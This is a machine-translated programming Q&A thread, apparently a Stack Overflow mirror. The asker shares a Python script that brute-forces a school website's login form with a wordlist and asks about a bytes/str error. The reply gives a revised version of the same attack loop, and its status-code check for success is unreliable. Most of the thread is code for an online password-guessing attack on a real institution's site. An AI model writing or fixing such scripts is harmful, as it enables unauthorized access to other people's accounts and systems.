繁体   English   中英

“需要类似字节的 object,而不是 str” Python 中的错误

[英]“A bytes-like object is required, not str” Error in Python

为了在大流行期间做点什么,我尝试创建一个密码破解程序来尝试猜测我自己的学校网站密码(我知道这很无聊,但我觉得这很酷)。

但是,当我运行我的程序时,我得到“如果'无效密码'不在 response.content:”中,我得到“需要一个类似字节的 object,而不是'str'”。

我环顾四周,但找不到任何可以帮助我的东西。 如果有人可以提供帮助,将不胜感激


target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)

with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["Password"] = word
        response = requests.post(target_url, data=data_dict)
        if "Invalid password" not in response.content:
            print("[+] Login Successful! Password = " + word)
            exit()
print("[-] Program finished, No password found :(")```

我不认为验证内容是最好的方法。 尝试验证响应状态码,如果密码正确,状态码将为 200,否则为 401 或 403。例如

target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)

with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["Password"] = word
        response = requests.post(target_url, data=data_dict)
        if response.status_code == 200: # This is the changed line
            print("[+] Login Successful! Password = " + word)
            exit()
print("[-] Program finished, No password found :(")

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM